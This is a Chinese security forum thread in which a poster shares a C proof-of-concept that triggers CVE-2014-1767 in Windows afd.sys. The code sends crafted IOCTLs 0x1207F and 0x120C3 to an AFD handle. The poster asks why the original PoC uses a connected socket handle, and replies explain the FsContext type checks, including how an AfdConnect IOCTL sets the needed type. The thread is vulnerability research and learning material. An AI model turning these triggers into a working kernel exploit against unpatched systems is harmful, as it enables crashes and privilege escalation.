首页
社区
课程
招聘
[求助] CVE-2014-1767 POC中的一个疑问
2022-3-23 19:58 11157

[求助] CVE-2014-1767 POC中的一个疑问

2022-3-23 19:58
11157

前几天论坛有人发了CVE-2014-1767分析报告,看着比较好玩所以调试了一下。

 

在分析afd.sys的时候, 发现这个驱动值创建了Device但是并没有创建Symbolic Name,也没有Attach到任何其他设备栈上。

 

so, 根据逆向的结果, 我这边尝试构造自己的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <windows.h>
#include <ntdef.h>
#include <winternl.h>
#include <stdio.h>
 
typedef struct _INPUT_AfdTransmitFile {
    DWORD field1;
    DWORD field2;
    DWORD field3;
    DWORD field4;
    DWORD field5;
    DWORD field6;
    DWORD field7;
    DWORD field8;
    DWORD field9;
    DWORD field10;
    DWORD field11;
    DWORD field12;
} INPUT_AfdTransmitFile;
 
typedef struct _INPUT_AfdTransmitPackets {
    DWORD field1;
    DWORD field2;
    DWORD field3;
    DWORD field4;
    DWORD field5;
    DWORD field6;
} INPUT_AfdTransmitPackets;
 
int main()
{
    DWORD bytesRet;
 
    INPUT_AfdTransmitFile InputAfdTransmitFile = {0};
    memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));
    InputAfdTransmitFile.field7 = 0x13371337;
    InputAfdTransmitFile.field8 = 0x15fcd9;
    InputAfdTransmitFile.field11 = 1;
 
    INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};
    memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));
    InputAfdTransmitPackets.field1 = 1;
    InputAfdTransmitPackets.field2 = 0x0aaaaaaa;
 
    /*
    LPCSTR deviceStr = "\\\\?\\GLOBALROOT\\Device\\Afd";
    HANDLE hDevice = CreateFile( deviceStr, \
            GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, \
            FILE_SHARE_READ, \
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    */
 
    IO_STATUS_BLOCK IoStatusBlock;
    HANDLE hDevice = NULL;
    UNICODE_STRING DeviceStr = {0};
    RtlInitUnicodeString(&DeviceStr, L"\\Device\\Afd\\Endpoint");
    OBJECT_ATTRIBUTES oa = {0};
    oa.Length = 0x18;
    oa.RootDirectory = 0;
    oa.Attributes = 0x42;
    oa.ObjectName = &DeviceStr;
    oa.SecurityDescriptor = 0;
    oa.SecurityQualityOfService = 0;
    printf("%X\n",NtCreateFile(&hDevice, 0xc0140000, &oa, &IoStatusBlock, 0, 0, 3u, 3u, 0, NULL, 0));
    printf("%X\n", IoStatusBlock.Status);
 
    __debugbreak();
 
    DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile, \
            sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \
            sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);
 
    return 0;
}

发现并不能触发BSOD, 然后跟了一下, 发现是afd!AfdTransmitPackets的

1
2
3
4
5
6
7
8
9
10
11
FsContext = (unsigned __int8 *)a2->FileObject->FsContext;
v56 = FsContext;
v3 = *(_WORD *)FsContext;
if ( *(_WORD *)FsContext == 0x1AFD )
{
  v66 = STATUS_INVALID_PARAMETER_12;
  goto LABEL_148;
}
if ( v3 != (__int16)0xAFD2 <--- 这里的检查未通过导致直接调到函数结尾
  && (v3 != (__int16)0xAFD1 || (*((_DWORD *)FsContext + 2) & 0x200) == 0 && (*((_DWORD *)FsContext + 3) & 0x8000) == 0)
  || FsContext[2] != 4 )

发现是FileObject的FsContext中的数据不满足检查条件。

 

而“正宗”的POC中, 其实是通过sockets调用的设备:

1
2
3
4
5
6
7
8
9
10
11
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*) & sa, sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);

经过调试发现:

  • 通过CreateFile/NtCreateFile创建的句柄调用DeviceIoControl,FileObject->FsContext是0xAAFD (无法通过if)

  • 通过sockets创建的句柄调用DeviceIoControl, FileObject->FsContext是0xAFD2 (可以通过if)

那么, 问题是:

原作者是怎么知道,需要通过socket创建的句柄(设备)调用DeviceIoControl的呢?


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (7)
雪    币: 3475
活跃值: (1350)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
Thunder J 2 2022-3-24 00:24
2
0
首先你得知道,这个模块是用来做什么的,然后在考虑怎么使用它,这方面网上应该能搜到。这个afd.sys是winsock相关模块,那肯定是和socket编程有关系,也就可以想到句柄的类型。其实这个FileObject->FsContext判断的那两个0xAAFD和0xAFD2也相当于是判断文件对象的类型(TypeCode之类的东西),类型不对则直接返回错误。
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2022-3-24 12:56
3
0
其实判断这个还是蛮容易的,fscontext对应的一般都是control block,你说的这个检查其实就是检查句柄对应对象的类型,比如不同文件系统的file handle对应的file object的fscontext的类型可能都有区别,例如FAT32对应的目录,文件都不一样,这个设置一般都是在你createfile完成的,但不完全是这样,这个需要你去逆向对应的驱动设备才能看到,有很多场景是你在createfile的时候,设备对象对应的驱动会为你初始化一个fscontext以及类型,有时候也可能会是0。你如果想获取想要的类型可能要通过一些方法去修改,我看到你这个帖子简单去看了一下这个驱动设备,我觉得你通过你这种createfile创建afd设备对象句柄的方法,也可以修改fscontext对应的类型,在afd的afdconnect函数里

```
FsContext = Object->FsContext;; //这个地方是获取file object的fscontext
[...]
 *((_QWORD *)FsContext + 24) = v19;
 *(_WORD *)FsContext = 0xAFD2; //这里会修改fscontext存放的类型为AFD2
 AfdAddConnectedReference(v19);
```
afdconnect这个函数也是通过deviceiocontrol对应的ioctlcode进来的,你只需要在transmitpacket之前先调一下afdconnect的ioctlcode就行了,一般碰上这种如果判断类型的地方,需要你去寻找一下设备对应驱动里是如何设置fscontext的类型的地方,socket是比较上层的封装,其实底层实现的本质也是对设备io的那一套东西。
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2022-3-24 12:59
4
0
当然按2楼雷牛的说法,通过设备对应的功能去找到API可能是比较方便的方法,但底层的实现逻辑应该是这样,也就是按你在帖子里提到的代码,可以按我说的尝试修改调试一下,不需要socket初始化也可以将当前的file handle的fscontext改成你需要的AFD2
雪    币: 400
活跃值: (342)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
ProgmBoy 3 2022-3-24 13:20
5
0

...你按楼上两位大神的做法去做,最后估计你还会发现还是有别的地方过不去。。。为啥呢?。
1. createfile的时候eaBuf没设呀.
2. handle没进行iocontol进行bind呀.

socket 和 connect函数隐藏了很多细节。。看下xp的源码吧同学.


ps:

如果你整个fuzzer你会发现各种零地址crash

最后于 2022-3-24 13:25 被ProgmBoy编辑 ,原因:
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2022-3-24 14:12
6
0
ProgmBoy ...你按楼上两位大神的做法去做,最后估计你还会发现还是有别的地方过不去。。。为啥呢?。1.&nbsp;createfile的时候eaBuf没设呀.2.&nbsp;handle没进行i ...
建议楼主听5楼的,因为5楼永远是我的大哥!
雪    币: 3475
活跃值: (1350)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
Thunder J 2 2022-3-24 14:41
7
0
建议楼主给楼上两位大哥点波关注,刷刷礼物,听楼上两位大哥的,我是他们的小弟,属于是弟中弟的级别
雪    币: 544
活跃值: (2955)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Ring3 1 2023-4-14 11:23
8
0
雷牛直接点出还可以延申到其他驱动的方法,属于是顶中顶的教程
游客
登录 | 注册 方可回帖
返回